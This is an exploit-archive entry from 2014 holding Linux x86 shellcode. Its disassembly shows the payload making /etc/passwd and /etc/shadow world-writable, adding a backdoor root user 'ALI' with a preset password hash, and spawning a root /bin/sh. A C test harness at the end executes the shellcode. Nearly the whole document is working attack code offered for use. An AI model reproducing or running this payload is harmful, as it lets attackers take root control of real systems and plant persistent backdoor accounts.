Shellcode Linux x86 - chmod (777 /etc/passwd & /etc/shadow), Add New Root User (ALI/ALI) & Execute /
| EKU-ID: 4182 | CVE: | OSVDB-ID: |
| Author: Ali Razmjoo | Published: 2014-08-05 | Verified:
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| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 4182 | CVE: | OSVDB-ID: |
| Author: Ali Razmjoo | Published: 2014-08-05 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
/*# Exploit Title: Shellcode Linux x86 chmod(777 /etc/passwd and /etc/shadow) && (Add new root user [ALI] with password [ALI] for ssh) && Execute /bin/sh # Date: 4/8/2014 # Exploit Author: Ali Razmjoo # Tested on: kali-linux-1.0.4-i386 [3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux ] *//* Ali Razmjoo , Ali.Razmjoo1994@Gmail.Com Shellcode Linux x86 chmod(777 /etc/passwd and /etc/shadow) && (Add new root user [ALI] with password [ALI] for ssh) && Setreuid() , Execute /bin/sh length: 378 bytes chmod('/etc/passwd',777) chmod('/etc/shadow',777) open passwd , and write new root user with passwrd ( user: ALI pass: ALI ) , close passwd setreuid() , execve('/bin/sh') 00000000 <_start>: 0: 31 c0 xor %eax,%eax 2: 31 db xor %ebx,%ebx 4: 6a 0f push $0xf 6: 58 pop %eax 7: 68 6a 73 77 64 push $0x6477736a c: 5b pop %ebx d: c1 eb 08 shr $0x8,%ebx 10: 53 push %ebx 11: 68 2f 70 61 73 push $0x7361702f 16: 68 2f 65 74 63 push $0x6374652f 1b: 89 e3 mov %esp,%ebx 1d: 68 41 41 ff 01 push $0x1ff4141 22: 59 pop %ecx 23: c1 e9 08 shr $0x8,%ecx 26: c1 e9 08 shr $0x8,%ecx 29: cd 80 int $0x80 2b: 6a 0f push $0xf 2d: 58 pop %eax 2e: 68 6a 64 6f 77 push $0x776f646a 33: 5b pop %ebx 34: c1 eb 08 shr $0x8,%ebx 37: 53 push %ebx 38: 68 2f 73 68 61 push $0x6168732f 3d: 68 2f 65 74 63 push $0x6374652f 42: 89 e3 mov %esp,%ebx 44: 68 41 41 ff 01 push $0x1ff4141 49: 59 pop %ecx 4a: c1 e9 08 shr $0x8,%ecx 4d: c1 e9 08 shr $0x8,%ecx 50: cd 80 int $0x80 52: 6a 05 push $0x5 54: 58 pop %eax 55: 68 41 73 77 64 push $0x64777341 5a: 5b pop %ebx 5b: c1 eb 08 shr $0x8,%ebx 5e: 53 push %ebx 5f: 68 2f 70 61 73 push $0x7361702f 64: 68 2f 65 74 63 push $0x6374652f 69: 89 e3 mov %esp,%ebx 6b: 68 41 41 01 04 push $0x4014141 70: 59 pop %ecx 71: c1 e9 08 shr $0x8,%ecx 74: c1 e9 08 shr $0x8,%ecx 77: cd 80 int $0x80 79: 89 c3 mov %eax,%ebx 7b: 6a 04 push $0x4 7d: 58 pop %eax 7e: 68 41 73 68 0a push $0xa687341 83: 59 pop %ecx 84: c1 e9 08 shr $0x8,%ecx 87: 51 push %ecx 88: 68 6e 2f 62 61 push $0x61622f6e 8d: 68 3a 2f 62 69 push $0x69622f3a 92: 68 72 6f 6f 74 push $0x746f6f72 97: 68 4c 49 3a 2f push $0x2f3a494c 9c: 68 3a 30 3a 41 push $0x413a303a a1: 68 4b 2e 3a 30 push $0x303a2e4b a6: 68 66 77 55 57 push $0x57557766 ab: 68 68 70 31 50 push $0x50317068 b0: 68 7a 59 65 41 push $0x4165597a b5: 68 41 61 41 51 push $0x51416141 ba: 68 49 38 75 74 push $0x74753849 bf: 68 50 4d 59 68 push $0x68594d50 c4: 68 54 42 74 7a push $0x7a744254 c9: 68 51 2f 38 54 push $0x54382f51 ce: 68 45 36 6d 67 push $0x676d3645 d3: 68 76 50 2e 73 push $0x732e5076 d8: 68 4e 58 52 37 push $0x3752584e dd: 68 39 4b 55 48 push $0x48554b39 e2: 68 72 2f 59 42 push $0x42592f72 e7: 68 56 78 4b 47 push $0x474b7856 ec: 68 39 55 66 5a push $0x5a665539 f1: 68 46 56 6a 68 push $0x686a5646 f6: 68 46 63 38 79 push $0x79386346 fb: 68 70 59 6a 71 push $0x716a5970 100: 68 77 69 53 68 push $0x68536977 105: 68 6e 54 67 54 push $0x5467546e 10a: 68 58 4d 69 37 push $0x37694d58 10f: 68 2f 41 6e 24 push $0x246e412f 114: 68 70 55 6e 4d push $0x4d6e5570 119: 68 24 36 24 6a push $0x6a243624 11e: 68 41 4c 49 3a push $0x3a494c41 123: 89 e1 mov %esp,%ecx 125: ba 41 41 41 7f mov $0x7f414141,%edx 12a: c1 ea 08 shr $0x8,%edx 12d: c1 ea 08 shr $0x8,%edx 130: c1 ea 08 shr $0x8,%edx 133: cd 80 int $0x80 135: 31 c0 xor %eax,%eax 137: b0 46 mov $0x46,%al 139: 31 db xor %ebx,%ebx 13b: 31 c9 xor %ecx,%ecx 13d: cd 80 int $0x80 13f: 31 c0 xor %eax,%eax 141: b0 46 mov $0x46,%al 143: 31 db xor %ebx,%ebx 145: 31 c9 xor %ecx,%ecx 147: cd 80 int $0x80 149: 68 59 59 59 59 push $0x59595959 14e: 68 58 58 58 58 push $0x58585858 153: 68 2f 73 68 42 push $0x4268732f 158: 68 2f 62 69 6e push $0x6e69622f 15d: 89 e3 mov %esp,%ebx 15f: 31 c0 xor %eax,%eax 161: 88 43 07 mov %al,0x7(%ebx) 164: 89 5b 08 mov %ebx,0x8(%ebx) 167: 89 43 0c mov %eax,0xc(%ebx) 16a: b0 0b mov $0xb,%al 16c: 8d 4b 08 lea 0x8(%ebx),%ecx 16f: 8d 53 0c lea 0xc(%ebx),%edx 172: cd 80 int $0x80 174: b0 01 mov $0x1,%al 176: b3 01 mov $0x1,%bl 178: cd 80 int $0x80 */ #include <stdio.h> #include <string.h> char sc[] = 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int main(void) { fprintf(stdout,"Length: %d\n\n",strlen(sc)); (*(void(*)()) sc)();